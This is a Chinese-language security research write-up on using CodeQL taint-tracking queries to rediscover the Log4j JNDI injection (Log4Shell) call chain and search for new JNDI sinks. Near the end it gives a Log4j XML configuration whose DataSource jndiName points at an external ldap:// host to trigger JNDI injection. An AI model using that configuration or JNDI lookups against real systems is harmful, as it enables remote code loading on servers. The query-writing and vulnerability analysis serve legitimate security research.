利用CodeQL分析并挖掘Log4j漏洞
前言
分析漏洞的本質是為了能讓我們從中學習漏洞挖掘者的思路以及挖掘到新的漏洞,而CodeQL就是一款可以將我們對漏洞的理解快速轉化為可實現的規則并挖掘漏洞的利器。根據網上的傳言Log4j2的RCE漏洞就是作者通過CodeQL挖掘出的。雖然如何挖掘的我們不得而知,但我們現在站在事后的角度再去想想,可以推測一下作者如何通過CodeQL挖掘到漏洞的,并嘗試基于作者的思路挖掘新漏洞。
分析過程
首先我們要構建Log4j的數據庫,由于lgtm.com中構建的是新版本的Log4j數據庫,所以只能手動構建數據庫了。首先從github獲取源碼并切換到2.14.1版本。
git clone https://github.com/apache/logging-log4j2.git git checkout be881e5
由于我們這次分析的主要是log4j-core和log4j-api中的內容,所以打開根目錄的Pom.xml注釋下面的內容。
log4j-api-java9
log4j-api
log4j-core-java9
log4j-core
由于log4j-api-java9和log4j-core- java9需要依賴JDK9,所以要先下載JDK9并且在C:\Users\用戶名\.m2\toolchains.xml中加上下面的內容。
jdk
9
sun
C:\Program Files\Java\jdk-9.0.4
通過下面的命令完成數據庫構建
CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"
構建好數據庫后,我們要找JNDI注入的漏洞,首先要確定在這套系統中調用了InitialContext#lookup方法。在LookupInterface項目中已經集成了常見的發起JNDI請求的類,只要稍微改一下即可。
首先定義Context類型,這個類中綜合了可能發起JNDI請求的類。
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
下面尋找那里調用了Context的lookup方法。
from Call call,Callable parseExpression
where
call.getCallee() = parseExpression and
parseExpression.getDeclaringType() instanceof Context and
parseExpression.hasName("lookup")
select call

DataSourceConnectionSource#createConnectionSource
@PluginFactory
public static DataSourceConnectionSource createConnectionSource(@PluginAttribute("jndiName") final String jndiName) {
if (Strings.isEmpty(jndiName)) {
LOGGER.error("No JNDI name provided.");
return null;
}
try {
final InitialContext context = new InitialContext();
final DataSource dataSource = (DataSource) context.lookup(jndiName);
if (dataSource == null) {
LOGGER.error("No data source found with JNDI name [" + jndiName + "].");
return null;
}
return new DataSourceConnectionSource(jndiName, dataSource);
} catch (final NamingException e) {
LOGGER.error(e.getMessage(), e);
return null;
}
}
JndiManager#lookup
@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
找到sink后我們還需要找到source,雖然Codeql定義了RemoteFlowSource支持多種source,但是我們還是要根據實際的代碼業務來分析可能作為source的點。
在Log4j作為日志記錄的工具,除了從HTTP請求中獲取輸入點外,還可以在記錄日志請求或者解析配置文件中來獲取source。先不看解析配置文件獲取source的點了,因為這需要分析Log4j解析配置文件的流程比較復雜。所以目前我們只考慮通過日志記錄作為source的情況。稍微了解Log4j的同學都知道,Log4j會通過error/fatal/info/debug/trace等方法對不同級別的日志進行記錄。通過分析我們可以看到我們輸入的message都調用了logIfEnabled方法并作為第四個參數輸入,所以可以將這里定義為source。

下面使用全局污點追蹤分析JNDI漏洞,還是套用LookupInterface項目中的代碼,修改source部分即可。
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
class Logger extends RefType{
Logger(){
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup"
and
ma.getMethod().getDeclaringType() instanceof Context
and
arg = ma.getArgument(0)
)
}
predicate isLogging(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "logIfEnabled"
and
ma.getMethod().getDeclaringType() instanceof Logger
and
arg = ma.getArgument(3)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(Expr exp |
isLogging(exp)
and
source.asExpr() = exp
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg)
and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
雖然這些也得到了很多查詢結果,但是在實際使用Log4j打印日志時可能不會帶上Marker參數而是直接寫入messge的內容。

所以我們現在要追蹤的source應該是帶有一個參數的error/fatal/info/debug/trace等方法。我這里以error方法為例對source部分進行修改。
class LoggerInput extends Method {
LoggerInput(){
//限定調用的類名、方法名、以及方法只有一個參數
this.getDeclaringType() instanceof Logger and
this.hasName("error") and this.getNumberOfParameters() = 1
}
//將第一個參數作為source
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
override predicate isSource(DataFlow::Node source) {
exists(LoggerInput LoggerMethod |
source.asParameter() = LoggerMethod.getAnUntrustedParameter())
}
這樣我們就得到了多條鏈,現在我們要寫個Demo驗證這個鏈是否可行,比如最簡單的logger.error("xxxxx");
1 message : Message AbstractLogger.java:709:23 2 message : Message AbstractLogger.java:710:47 3 message : Message AbstractLogger.java:1833:89 4 message : Message AbstractLogger.java:1835:38 5 message : Message Logger.java:262:70 6 message : Message Logger.java:263:52 7 msg : Message Logger.java:617:64 8 msg : Message Logger.java:620:78 9 msg : Message RegexFilter.java:73:87 10 msg : Message RegexFilter.java:78:63 ... 64 convertJndiName(...) : String JndiLookup.java:54:33 65 jndiName : String JndiLookup.java:56:56 66 name : String JndiManager.java:171:25 67 name JndiManager.java:172:40 Path
但是這條鏈只有配置了Filter為RegexFilter才會繼續執行,而默認沒有配置則為空。

所以這種方式就稍微有些限制,所以我們再去看看其他鏈。這條鏈似乎不用配置Filter。
1 message : Message AbstractLogger.java:709:23 2 message : Message AbstractLogger.java:710:47 3 message : Message AbstractLogger.java:1833:89 4 message : Message AbstractLogger.java:1836:51 5 message : Message AbstractLogger.java:2139:94 6 message : Message AbstractLogger.java:2142:59 7 message : Message AbstractLogger.java:2155:43 8 message : Message AbstractLogger.java:2159:67 9 message : Message AbstractLogger.java:2202:32 10 message : Message AbstractLogger.java:2205:48 11 message : Message AbstractLogger.java:2116:9 12 message : Message AbstractLogger.java:2117:41 ... 78 var : String Interpolator.java:230:92 79 key : String JndiLookup.java:50:48 80 key : String JndiLookup.java:54:49 81 jndiName : String JndiLookup.java:70:36 82 jndiName : String JndiLookup.java:74:16 83 convertJndiName(...) : String JndiLookup.java:54:33 84 jndiName : String JndiLookup.java:56:56 85 name : String JndiManager.java:171:25 86 name JndiManager.java:172:40
但是在AbstractLogger#tryLogMessage中Codeql會直接分析到AbstractLogger#log而實際請求時會解析到Logger#log方法。這是因為Logger是AbstractLogger的子類并且也實現了log方法,而且我們實例化的也是Logger對象,所以這里會調用到Logger#log。
實際請求

CodeQL分析

再看看下面這條鏈
1 message : Message AbstractLogger.java:709:23 2 message : Message AbstractLogger.java:710:47 3 message : Message AbstractLogger.java:1833:89 4 message : Message AbstractLogger.java:1836:51 5 message : Message AbstractLogger.java:2139:94 6 message : Message AbstractLogger.java:2142:59 7 message : Message AbstractLogger.java:2155:43 8 message : Message AbstractLogger.java:2159:67 9 message : Message AbstractLogger.java:2202:32 10 message : Message AbstractLogger.java:2205:48 11 message : Message Logger.java:158:9 12 message : Message Logger.java:162:17 13 data : Message AwaitCompletionReliabilityStrategy.java:78:83 14 data : Message AwaitCompletionReliabilityStrategy.java:82:67 15 data : Message LoggerConfig.java:430:28 16 data : Message LoggerConfig.java:454:17 17 message : Message ReusableLogEventFactory.java:78:86 18 message : Message ReusableLogEventFactory.java:100:27 19 msg : Message MutableLogEvent.java:209:28 20 (...)... : Message MutableLogEvent.java:211:46 21 reusable : Message MutableLogEvent.java:212:13 22 parameter this : Message ReusableObjectMessage.java:47:17 23 obj : Object ReusableObjectMessage.java:48:44 ... 88 convertJndiName(...) : String JndiLookup.java:54:33 89 jndiName : String JndiLookup.java:56:56 90 name : String JndiManager.java:171:25 91 name JndiManager.java:172:40
這條鏈在執行到MutableLogEvent#setMessage時和CodeQL的分析結果略有不同。

在CodeQL中resusable.formatTo會調用到ReusableObjectMessage中。

但是實際運行過程中由于MessgeFactorty創建Message對象時默認創建的是ResableSimpleMessage對象,所以會執行到ResableSimpleMessage#formatTo方法。


所以似乎目前使用使用CodeQL的規則是發現不了Log4jShell那個漏洞的,既然我們已經知道了這個漏洞的觸發鏈,可以分析下CodeQL為什么沒有分析出來。
通過之前對CodeQL檢測出的調用鏈分析,CodeQL已經分析到了createEvent方法。

查看createEvent方法的調用,在Log4jShell的觸發鏈中實際上是在對返回LogEvent的處理過程中觸發的,所以這里CodeQL可能沒有將返回的LogEvent對象再當作污點進行分析,所以導致沒有分析成功。

我們可以創建一個isAdditionalTaintStep函數,將ReusableLogEventFactory#createEvent的第六個參數Message和LoggerConfig#log第一個參數logEvent連接起來。
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory")
and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")
and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0)
)
}
最后我們就可以通過CodeQL分析到Log4j shell漏洞的調用鏈。
1 message : Message AbstractLogger.java:709:23 2 message : Message AbstractLogger.java:710:47 3 message : Message AbstractLogger.java:1833:89 4 message : Message AbstractLogger.java:1836:51 5 message : Message AbstractLogger.java:2139:94 6 message : Message AbstractLogger.java:2142:59 7 message : Message AbstractLogger.java:2155:43 8 message : Message AbstractLogger.java:2159:67 9 message : Message AbstractLogger.java:2202:32 10 message : Message AbstractLogger.java:2205:48 11 message : Message Logger.java:158:9 12 message : Message Logger.java:162:17 13 data : Message DefaultReliabilityStrategy.java:61:83 14 data : Message DefaultReliabilityStrategy.java:63:69 15 data : Message LoggerConfig.java:430:28 16 data : Message LoggerConfig.java:454:96 17 message : Message ReusableLogEventFactory.java:58:47 18 message : Message ReusableLogEventFactory.java:60:67 19 event : LogEvent LoggerConfig.java:469:13 20 event : LogEvent LoggerConfig.java:479:24 21 event : LogEvent LoggerConfig.java:481:29 22 event : LogEvent LoggerConfig.java:495:34 23 event : LogEvent LoggerConfig.java:498:27 24 event : LogEvent LoggerConfig.java:536:34 25 event : LogEvent LoggerConfig.java:540:38 26 event : LogEvent AppenderControl.java:80:30 27 event : LogEvent AppenderControl.java:84:38 28 event : LogEvent AppenderControl.java:117:47 29 event : LogEvent AppenderControl.java:120:27 30 event : LogEvent AppenderControl.java:126:32 31 event : LogEvent AppenderControl.java:129:29 32 event : LogEvent AppenderControl.java:154:34 33 event : LogEvent AppenderControl.java:156:29 34 event : LogEvent AbstractDatabaseAppender.java:107:30 35 event : LogEvent AbstractDatabaseAppender.java:110:37 36 event : LogEvent AbstractDatabaseManager.java:260:42 37 event : LogEvent AbstractDatabaseManager.java:262:20 38 event : LogEvent AbstractDatabaseManager.java:122:27 39 event : LogEvent AbstractDatabaseManager.java:123:25 40 parameter this : LogEvent Log4jLogEvent.java:530:26 41 this : LogEvent Log4jLogEvent.java:534:16 42 toImmutable(...) : LogEvent AbstractDatabaseManager.java:123:25 43 this.buffer [post update] [<element>] : LogEvent AbstractDatabaseManager.java:123:9 44 this [post update] [buffer, ] : LogEvent AbstractDatabaseManager.java:123:9 45 this <.method> [post update] [buffer, ] : LogEvent AbstractDatabaseManager.java:262:13 46 getManager(...) [post update] [buffer, ] : LogEvent AbstractDatabaseAppender.java:110:13 47 this [post update] [manager, buffer, ] : LogEvent AbstractDatabaseAppender.java:110:13 48 appender [post update] [manager, buffer, ] : LogEvent AppenderControl.java:156:13 49 this <.field> [post update] [appender, manager, buffer, ] : LogEvent AppenderControl.java:156:13 50 this <.method> [post update] [appender, manager, buffer, ] : LogEvent AppenderControl.java:129:13 51 this <.method> [post update] [appender, manager, buffer, ] : LogEvent AppenderControl.java:120:13 52 this <.method> [post update] [appender, manager, buffer, ] : LogEvent AppenderControl.java:84:9 53 event : LogEvent AppenderControl.java:80:30 54 event : LogEvent AppenderControl.java:84:38 55 event : LogEvent AppenderControl.java:117:47 56 event : LogEvent AppenderControl.java:120:27 57 event : LogEvent AppenderControl.java:126:32 58 event : LogEvent AppenderControl.java:129:29 59 event : LogEvent AppenderControl.java:154:34 60 event : LogEvent AppenderControl.java:156:29 61 event : LogEvent AbstractOutputStreamAppender.java:179:24 62 event : LogEvent AbstractOutputStreamAppender.java:181:23 63 event : LogEvent AbstractOutputStreamAppender.java:188:28 64 event : LogEvent AbstractOutputStreamAppender.java:190:31 65 event : LogEvent AbstractOutputStreamAppender.java:196:38 66 event : LogEvent AbstractOutputStreamAppender.java:197:28 67 event : LogEvent GelfLayout.java:433:24 68 event : LogEvent GelfLayout.java:438:43 69 event : LogEvent GelfLayout.java:471:34 70 event : LogEvent GelfLayout.java:496:46 71 event : LogEvent StrSubstitutor.java:462:27 72 event : LogEvent StrSubstitutor.java:467:25 73 event : LogEvent StrSubstitutor.java:911:34 74 event : LogEvent StrSubstitutor.java:912:27 75 event : LogEvent StrSubstitutor.java:928:28 76 event : LogEvent StrSubstitutor.java:978:44 77 event : LogEvent StrSubstitutor.java:911:34 78 event : LogEvent StrSubstitutor.java:912:27 79 event : LogEvent StrSubstitutor.java:928:28 80 event : LogEvent StrSubstitutor.java:1033:63 81 event : LogEvent StrSubstitutor.java:1104:38 82 event : LogEvent StrSubstitutor.java:1110:32 83 event : LogEvent StructuredDataLookup.java:46:26 84 event : LogEvent StructuredDataLookup.java:50:67 85 parameter this : LogEvent RingBufferLogEvent.java:206:20 86 message : Message RingBufferLogEvent.java:210:16 87 getMessage(...) : Message StructuredDataLookup.java:50:67 88 (...)... : Message StructuredDataLookup.java:50:43 89 msg : Message StructuredDataLookup.java:54:20 90 parameter this : Message StructuredDataMessage.java:239:19 91 type : String StructuredDataMessage.java:240:16 92 getType(...) : String StructuredDataLookup.java:54:20 93 lookup(...) : String StrSubstitutor.java:1110:16 94 resolveVariable(...) : String StrSubstitutor.java:1033:47 95 varValue : String StrSubstitutor.java:1040:63 96 buf [post update] : StringBuilder StrSubstitutor.java:1040:33 97 buf [post update] : StringBuilder StrSubstitutor.java:912:34 98 bufName [post update] : StringBuilder StrSubstitutor.java:978:51 99 bufName : StringBuilder StrSubstitutor.java:979:47 100 toString(...) : String StrSubstitutor.java:979:47 101 varNameExpr : String StrSubstitutor.java:1010:55 102 substring(...) : String StrSubstitutor.java:1010:55 103 varName : String StrSubstitutor.java:1033:70 104 variableName : String StrSubstitutor.java:1104:60 105 variableName : String StrSubstitutor.java:1110:39 106 key : String JndiLookup.java:50:48 107 key : String JndiLookup.java:54:49 108 jndiName : String JndiLookup.java:70:36 109 ... + ... : String JndiLookup.java:72:20 110 convertJndiName(...) : String JndiLookup.java:54:33 111 jndiName : String JndiLookup.java:56:56 112 name : String JndiManager.java:171:25 113 name JndiManager.java:172:40
漏洞挖掘嘗試
通過上面的分析可以看到,挖掘到所有的鏈最終的觸發點都是JndiManager,這個點目前的觸發已經在新版本中修復了,但是在DataSourceConnectionSource#createConnectionSource中也直接調用了lookup方法,我們能否通過某種方式觸發呢?
通過注釋可以看到DataSource是Core類型插件,因此可以在XML中直接通過標簽配置調用。

xml version="1.0" encoding="UTF-8"?>
status="WARN">
name="Console" target="SYSTEM_OUT">
pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
jndiName="ldap://9b89e78d.dns.1433.eu.org.">
level="ERROR">
ref="Console"/>
配置后可以在插件加載的過程中觸發漏洞,雖然這種方式也可以造成JNDI注入,但是需要在配置文件中修改參數才能觸發,所以價值不大。

最后給出整體的分析Log4j JNDI注入的CodeQL查詢代碼
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
class Logger extends RefType{
Logger(){
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
class LoggerInput extends Method {
LoggerInput(){
this.getDeclaringType() instanceof Logger and
this.hasName("error") and this.getNumberOfParameters() = 1
}
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup"
and
ma.getMethod().getDeclaringType() instanceof Context
and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(LoggerInput LoggerMethod |
source.asParameter() = LoggerMethod.getAnUntrustedParameter())
}
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory")
and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")
and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0)
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg)
and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
總結
通過CodeQL挖洞效率確實比較高,并且在官方也給出了針對很多類型漏洞的審計規則,確實可以高效的輔助挖洞,目前主要解決下面兩個問題。
- 默認的Source應該只是針對HTTP請求,如何針對特定的框架去發現可能作為source的點
- 分析污點在何時會被打斷并進行拼接